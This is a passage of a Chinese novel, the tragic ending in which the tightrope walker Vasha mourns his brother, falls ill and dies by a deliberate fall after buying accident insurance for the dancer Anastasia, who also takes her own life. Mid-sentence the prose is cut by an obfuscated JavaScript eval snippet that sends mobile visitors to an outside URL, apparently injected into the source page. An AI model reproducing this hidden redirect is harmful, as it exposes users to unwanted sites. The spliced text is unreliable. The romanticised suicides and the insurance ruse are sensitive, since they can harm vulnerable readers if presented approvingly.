他在修道院迎来了黑夜,夜晚,他一个人待在修道院的后院,这里拥有一座花园。他待在鸢尾花前,那些紫色的鸢尾花静谧而美丽,萤火虫在草丛之中环绕,在他身旁亮起星星点点的光。夜半修女提着一盏灯来到了后花园,她穿着白色的修长长袍,容貌在夜晚雌雄莫辨。他仿佛间以为自己看到了上帝的阵容,耶稣正提着灯朝他走来。她从他身边路过,前往修道院的墓地,那里是一片死去的修女,她在夜晚为她们的墓碑前放上一束鸢尾花。他和那些墓碑度过了一个晚上,第二天,天也没有亮。直到修女们重新出来布施、城中的人们点起了灯,这里变成了一座夜之城,黑夜仿佛没有尽头。连着三天三夜只有无尽的黑夜,他面前的紫色鸢尾花全部凋谢了。 在修女低声呢喃玫瑰经时,他在黑夜中明白了某个残酷的真相。上帝仁慈而宽容,并非要折磨他的心性。他到达了热那亚,很快就要离开这片土地,上帝借摩西出埃及记的隐喻一路阻拦他,仅仅是要警示他某个残酷的预示。他不知道自己这一路上走了多久,有多久没有收到小卡拉米的来信。埃及十灾,最后一灾是长子之死。 他认为自己一定是疯魔了,才会相信这些毫无缘由的预示,可他已经记不清小卡拉米上次给他写信是什么时候。他忘记了小卡拉米最后一封信里写了些什么,忘记了他离去时和他说了些什么,他只有看到那些鸢尾花时,才想起来弟弟拿走的那枚勋章。他才刚刚写完了信,向她承诺一定会去看她,他现在却又要反悔,他认为前方有某个可怕的真相在等待他。或者说这一切早有预示,只是他一头栽进了名为爱情的美梦里,从而忽视了弟弟生活中的一切细节。他不可置信地发出哀痛的哭声,那些修女们惊讶地看着他,朝他投向怜悯的目光。 他已明白,人类之心如此脆弱,它们脆弱的不值一提。无论他们抱有多么顽强的意志,只要他们身上仍然残留有爱,只要上帝诅咒人们的爱,他们会立刻缴械投降,会对这个世界痛哭流涕。 这场旅行如同一场荒诞而古怪的幻梦,他沿着原路返回。返回的路远比来的时候容易,他把那封信作为诀别信,他已明白,他再也不能见她。尽管他的心里仍然会常常想起她,那些连同着美好希望的爱情,全部被他亲手扯断,他再也不打算让它们出现。 当他来到佛罗伦萨,来到这座无数人梦寐以求的艺术之都,这里的一切令人向往而神驰,他的内心却一片平静。这里刚刚发生了一场罢工运动,街道压抑而萧瑟,他来到学校,看守在这里的负责人告诉他由于发生了学生起义的重大事故,现在佛罗伦萨所有的学校全部停课,学生都回去了。至于那些罢工的工人们,他们被武力镇压现在关在监狱里。他对于这座城市的景色匆匆而过,并且没有任何美好的记忆。那些漂亮的神庙与花窗,在他眼里变成了吃人的建筑,所有人都在其中化成浇筑雕像的泥水。 他回到了法□□亚纳,这里一切如旧,只是下了一场雨。他的后花园里那些鸢尾花,经过这场雨,全都死掉了。 在他抵达法□□亚纳的同时,小卡拉米,也就是谢尔盖,阿列克桑德尔的遗体被送了过来,一并送来的还有一枚表示英勇的徽章。谢尔盖.阿列克桑德尔死于工人运动,他带领学生一起参与进政治事件,被抓进监狱,在警察枪毙主犯时抢不幸走火,打死了好几个人,他是其中一个。还有一名他的同伴叫做列奥纳多,据说两人死的时候依靠在一起,谢尔盖.阿列克桑德尔一手牵着同伴,一手紧紧地捏着那枚紫鸢尾勋章,到死都没有松开。 8. 第八章 阿纳斯塔西娅仍然给瓦沙写信,她的信一封封地从巴黎送来,他一封都没有看,那些信全部搁置在信筒里,随着雨水和铁信筒一起长出铁锈。 瓦沙一个人为弟弟办了葬礼,没有让任何人参与,他亲手置办。他把小卡拉米葬在德米特里.阿列克桑德尔和海伦娜之间,希望他仍然能够像一个孩子一样得到父母的垂怜。他在院子里种了大片的紫色鸢尾花,只要他还有一天活着,他会去谢尔盖.阿列克桑德尔墓前送上一束鸢尾花。 尽管葬礼并没有通知任何人,可是人们仍然知道了,知道他经历了一件巨大的不幸。费德里科关怀他送给了他好些石头,甚至没有过问他消失的那段时间去了哪里。乔瓦尼因为这桩不幸愿意让他继续在游乐场工作,他可以继续在游乐场走钢丝,直到他死为止。老阿卜杜勒仍然和那位占卜女待在一起,对这一切他没什么表示,仅仅是在他路过的时候,重新询问他是否需要宝石。那些用香水瓶装满的药水,仅一夜之间似乎全部消失了,瓦沙再也没有见过它们。老阿卜杜勒仍旧笑呵呵的,和他讨论宝石的原产地和作用,甚至告诉他他的见闻,比如哪块石头朝向哪个位置更加容易切割。 他的生活一切恢复了原样,只有回到家里的时候,他看到那些鸢尾花,或者是那条白裙子,他才知道发生了什么。一切事情都像是刚刚发生,谢尔盖.阿列克桑德尔从他身边经过,拿走了一枚勋章,告诉他他要去学校,笑着亲吻他的脸颊。阿纳斯塔西娅在写字台前看他做那些首饰,从他的书架里找出来那本汉语词典,询问他汉字的意思。他们从他身边匆匆地经过,很快离开了。更早的时候,他和小卡拉米睡在一起,进入香甜到梦乡,这个时候,德米特里.阿列克桑德尔从外面回来,他总是会悄悄钻进他们的房间,看着他们的睡颜,用大拇指抵住他们的鼻尖让他们因为呼吸不畅而醒来。然后德米特里.阿列克桑德尔把他们两个一起抱住,这时海伦娜会笑的十分无奈,厨房里煮着可口的蘑菇汤,他们两个人起来大眼瞪小眼,步入崭新的一天。小的时候小卡拉米表现的十分顽皮,他的性子更加安静一些,加上他年纪比小卡拉米长了十岁,已经过了玩乐的年纪。在他看书的时候,小卡拉米总会在他身边待一会,装模作样地看一会书,在他的书上乱涂乱画,然后偷偷溜出去,到花园里抓很多的虫子给他看。他对那些虫子不喜欢也不讨厌,小卡拉米倒是对它们十分好奇,他回答不上来小卡拉米的问题,因此去问海伦娜和德米特里。德米特里因此去镇上给他们借科普书,回来之后告诉他们每个虫子的名字,他记住了那些虫子的名字,后来做出来了很多虫子的胸针。 “听着,小伙计,如果你想成为一名像样的男子汉,首先你要敢于坦然面对令自己恐惧的事物。你瞧啊,瞧那些乖巧的狮子,你的每一位朋友都曾上前去抚摸过它。尽管我不能保证你抚摸它之后仍然能够安然无恙,但是我可以保证,只要你上前去,只要你富有勇气,在你触摸过它之后,你就会成为一名勇士。我亲爱的勇士,勇士是不会掉眼泪的,也不会一直哭泣,快把你的眼泪藏起来吧。”费德里科说道。 他正在安慰一名为不敢触摸狮子而苦恼的小男孩,瓦沙正好经过,费德里科也看见了他,向他打了招呼。 “瓦沙伯奇尼,你好,瓦沙伯奇尼,你近来好些了吗?这真是让我感到神奇的一件事,为何我只要一见到你,你身上总会悄无声息地发生变化。尽管我形容不出来那些变化从何而来。”费德里科说道。 “我很好,费德里科,谢谢您的关心。”瓦沙说道,他注视着费德里科身旁那名正在哭泣的小男孩,小男孩瞳仁倒映着狮子蜷缩的身体,仍旧怀揣着恐惧。 他的目光仅仅是在小男孩身上停留了片刻,他想起了小卡拉米抓来的那些虫子,他不知道是否人具有的勇气也有天赋差别,他隐约记得小卡拉米在小的时候就不害怕那些虫子。他回到家里,找到了很久以前他和小卡拉米一起做的虫子,他们给这些虫子做成了标本,并且为它们取名。一只叫做贝克汉姆,另一只叫做凡努达。它们在柜子里已经积灰,他重新地找到了它们,并用绿色蓝色的宝石复刻出了昆虫的勋章。 他重新回归了自己的生活,每天在写字台前忙碌,为镇上的那些妇人制作饰品,他不再为自己设定要求,无论是戒指还是衣服,只要有小姐需要,他都愿意去做。有的时候他会打开那本汉语词典,方块字过于晦涩难懂,他完全不能意会,借助字典笨拙地想要清楚那些方块字之间的不同。他每天去后花园照顾那些紫色鸢尾花,保证每天为小卡拉米的坟墓前送上最新鲜的花束。从各路妇人那里卖出去的首饰,他赚来的钱大部分寄给了热那亚的修道院,那里的修女曾让他误以为是上帝真容,他收到修女的布施,心甘情愿地长期给修道院寄钱。罗莎来找过他一次,由于他没有看阿纳斯塔西娅寄来的那封信件,阿纳斯塔西娅不得已重新联系了罗莎。罗莎来到了他家前,告诉他阿纳斯塔西娅在巴黎歌剧院的近况,告诉他她几乎要拔得头筹,她很快就会回来,请求他回复她、至少回复她一封信,哪怕一个字也好。瓦沙按照朋友的礼仪招待了罗莎,他对罗莎什么都没有说,他再次恢复了沉默寡言,变得内敛而腼腆,他仅仅是让她转达给阿纳斯塔西娅,他近来过得很好,没能赴约十分抱歉,他想说的都已经传达过了。 夜深人静的时刻,他再次感到被浓重的孤独席卷,失眠已经离他远去。他仅仅是在睡梦之前,醒着的片刻时光,被疲惫与孤独的落寞侵蚀。小卡拉米的死令他陷入自责之中,他永远也不会原谅自己,他产生的愧疚,让他与阿纳斯塔西娅永远无法相见。他开始频繁地做梦。他常常梦到小卡拉米还在世的日子,那些细节被无限放大,原本被他忘记的那些记忆,全部都从角落里浮现出来,他陷入过去的追忆之中,这对他来说影响无足轻重,每天都能在梦里见到死去的弟弟,他沉浸在美好的梦境之中。他喜欢上了睡着的时刻,那会让他心情宁静。偶尔他会失眠,停下来的时刻,那条他亲手缝制的白色裙子仍然放在他这里,他倒是期望那条名为不详的白裙子再次显显灵,他想要回复玛丽皇后凄厉的诅咒。 他做梦梦到了更早的时候,梦到了父亲还在世的时候,那时候他和父亲一起去西西里海岸找船、德米特里.阿列克桑德尔和他们一起,那时他年纪很小,总是跟在父亲和德米特里身后,德米特里总是安慰他的父亲,他的父亲常年被忧郁笼罩,那份如出一辙的忧郁仿佛代代相传,就像他现在的模样,他忽觉自己与父亲的神情别无二致。父亲总是告诉他,这里并不属于他们,属于他们的地方并不在这里,只需要找到那艘船——找到载他们过来的那艘远洋号,找到那艘船,他们才不会被不幸笼罩,父亲认为上帝会诅咒不属于这片土地上的人们。德米特里总是会在此时哈哈大笑,他抱起他,告诉父亲,所有不幸的人都是自身所致,上帝宽宏无量,不会为此特地显灵。 有的时候,他会记起自己在船上模糊的片段,耳边是沉重的咳嗽声与陌生的语言,他的母亲在船上抱着他,祖母在房间里走来走去。祖母和母亲都是传统的东方女人,她们有着和她一样的黑色头发黑色眼睛,他听见了海浪声、闻见了扑面而来大海的腥味,整艘船在海面上摇摇晃晃,随风飘逝至没有尽头的海岸线。他又梦起那场可怕的海浪,将整艘船几乎吞噬,海面上无数艘幽灵船,天空变得灰蒙蒙的,他的祖母和母亲都被海浪收走了。只有他和父亲活了下来,父亲从那个时候起开始变得忧郁。他总沉浸在回忆之中,无法关注他,他的童年常常被德米特里笼罩。德米特里常常告诉他,父亲仅仅是生病了,心灵患上了严重的病症,请他体谅父亲。 很快到了复活节,他和阿纳斯塔西娅约定见面的日子,阿纳斯塔西娅并没有回来,他们之间彼此已经默认分开。瓦沙能够理解,他在穿越这片土地时,所经历的巨大磨难都让他记忆犹新,他绝不会责怪她,只是在复活节他感到身体有些不适。在欢快的节日之中,仿佛上帝的诅咒开始灵验,他开始不断地咳嗽。那阵在船上不断响起的咳嗽声,此时落在他耳边,令他的胸肺开始发痒,他跟着咳嗽起来。他想可能是当年父亲一并带过来了来自东方的幽灵,幽灵跟随他到此刻才开始显形。他日夜反复地咳嗽,他的嗓子变得嘶哑,逐渐地再次失去了睡眠,仅仅半年的时间,让他瘦得脱形、他面容阴郁,苍白的嘴唇已毫无血色,当他待在写字台前的时候,他那双深邃平静的双眼,已经分不清他和真正的鬼魅。 是费德里科最先注意到他的异常,在观察他好几天之后,终于再也忍不住。费德里科对他产生了莫名的怜悯,强行地带着他去看了镇上的医生。他提前得知了不幸的消息,他患了某种不幸的肺炎,这种肺炎在东方兴起,这片土地的医生无人能解。并且他咳嗽的情况很严重——总是伴随着黑色的鲜血,那意味着疫病已经深深地侵蚀他的身体。医生给他开了一些止咳药,让他能够在咳嗽的时候不那么难受。 费德里科认为他的一切不幸都从碰到隔壁的舞女开始,他说他其实知道一切,镇上的人们都知道他被那个名为阿纳斯塔西娅的舞女蛊惑了,从认识那个舞女之后,他的一切都变得不正常。费德里科拍拍他的肩膀,安慰他医生的话不必全部听,给他鼓气告诉他他一定会好起来,并且顺便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536685|170903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诅咒了阿纳斯塔西娅,他认为阿纳斯塔西娅害他如此,建议瓦沙前去教堂陈述自己遭受的一切,让上帝收回这些惩罚。他愿意把自己收集的所有宝石都送给瓦沙,期望瓦沙早日好起来。 由于他的孤僻与执拗,这份病症已经拖了半年的时间,他在夜晚的写字台前,当自己连续咳嗽了两个小时,仍旧没有好转,自己拿起钢笔时头晕目眩,他在这时才意识到自己大概时数不多。在他身体无比脆弱的时刻,他想起了阿纳斯塔西娅,他想起信筒里那些已经生锈的信,他拿出来了那些信,一封封地去看她的信。他既无法前去教堂,也无法面见上帝,他无法责怪她,无法怨恨她。他在此时仍然深爱着她,即便他们相处的那短短三个月已经如同梦境一般,让他分不清真假,他已经无法辨别,是否真的有一名舞女叫做阿纳斯塔西娅,他们是否真的相爱过,那些过分浓烈的情爱是否真的存在过。 他在面对死亡时,心情变得无比平静,一切疲惫终于止息。他想起了那时他们在玛利亚墙下嬉闹,他行走在钢丝上时,总是害怕她的目光,她的目光令他无法镇定,令他抛弃了所有的理智。那些信件他已经看不清,那些她写下来的字句,随着铁锈变得模糊不清,随着时间一并的消逝。 此时此刻,他并不知道远在巴黎的阿纳斯塔西娅的情况,那位名为阿纳斯塔西娅的舞女,她与他同样有着浓烈与执拗的爱,当她在歌剧院得到自己想要的一切,却得不到他的回音时,她才意识到自己失去了无比珍重之物。她陷入了莫大的痛苦之中,他们彼此深陷苦痛,互相却不得而知。那些中断的信件已经无法摊陈一切,她写了最后一封的诀别信,却没有得到瓦沙的回音,她认为瓦沙永远无法原谅他。当她在复活节表演完了最后一场演出,她仍旧戴着那枚银色的蝴蝶戒指,她高声呼喊“请上帝原谅一切罪孽”随即从歌剧院的三楼跃下,她以死亡祈求他的原谅。 “您说您要买一份保险?当然了,这再好不过,我认为您的工作太危险,总是行走在钢丝上的人——他们一不小心可能就会摔下来,那是不幸中的意外,可它们难免会发生。”乔瓦尼对他的顺从十分满意,同意用他全部的财产为他购置一份意外保险。乔瓦尼还关心他的身体情况,却并不过问他为什么总是咳嗽,他们的关心程度仅仅止步于此。 瓦沙在进行最后一场表演前,他一大早为小卡拉米准备了紫色鸢尾花束,他去游乐场见了老阿卜杜勒和费德里科。他把自己珍藏的所有饰品都送给了老阿卜杜勒,告诉老阿卜杜勒他在演出之后要去很远的地方,老阿卜杜勒笑呵呵地问他要去哪里,他告诉老阿卜杜勒他要回自己的故乡去。至于费德里科,他仅仅是告诉费德里科,他讲的故事并不无聊,还有他十分地敬佩他,从他离开剧院起,他相信费德里科的心从来不在那些虚幻之物上。他还拜托了一件事,让费德里科在他表演之后把他写字台上的那封信递出去,目的地是在巴黎,收信人是阿纳斯塔西娅。 他相信他已经成为十分瞩目的舞女,祈祷她愿意接受他最后一封信。 游乐场里依旧热闹,狮子们穿过燃烧的火圈,突尼斯商人们戴上可怕的面具,那位大象脚底下占卜的女人,那个女人第一次直视他,朝他做了一个双手合十的姿势,并为他划了一道十字,似乎在祝福他一路走好。他感到自己的灵魂被看透,他如常地来到自己的换衣室,在那里戴上防滑绳、穿上那双橡胶鞋,他缓缓地走在钢丝上,恍惚间听见了来自远处的声音,不远处祖母绿大海的深处传来呼唤声,呼唤他回到故乡去。 他从钢丝上曾经坠落一次,那时他的心因为阿纳斯塔西娅而复活,如今他的心已经悄然凋零,内心深处仍旧残留一抹余晖,支撑着他在钢丝上行走,他仍然能够为她再坠落第二次。 他看见了圣母玛利亚的雕像,在以前他从未仔细看过神像的表情,他看到圣母几乎落泪的悲悯神情,头一次感到震颤,他的疾病在此刻不治而愈。他主动地解开腰上的防滑绳,朝着那堵镂空的墙一跃而下。 血溅在玛利亚神像的裙底,瓦沙在此刻离开了自己的身体,他看着自己回到了西西里海岸附近,他面前是祖母绿的大海与团成块的海藻,德米特里告诉他海藻里有蛇。 他伸出手去触碰,触碰到记忆深处的柔软。他在海边找到了那艘远洋号,他坐船穿过地中海、穿过阿拉伯与红海,抵达孟加拉湾,最后回到自己的故乡。 费德里科在瓦沙的写字台那里找到了一封信,信寄给远在巴黎的舞女,里面放着一份保险存单,那是一份意外事故保险,受益人写着阿纳斯塔西娅,总共是二十万里拉。 (完)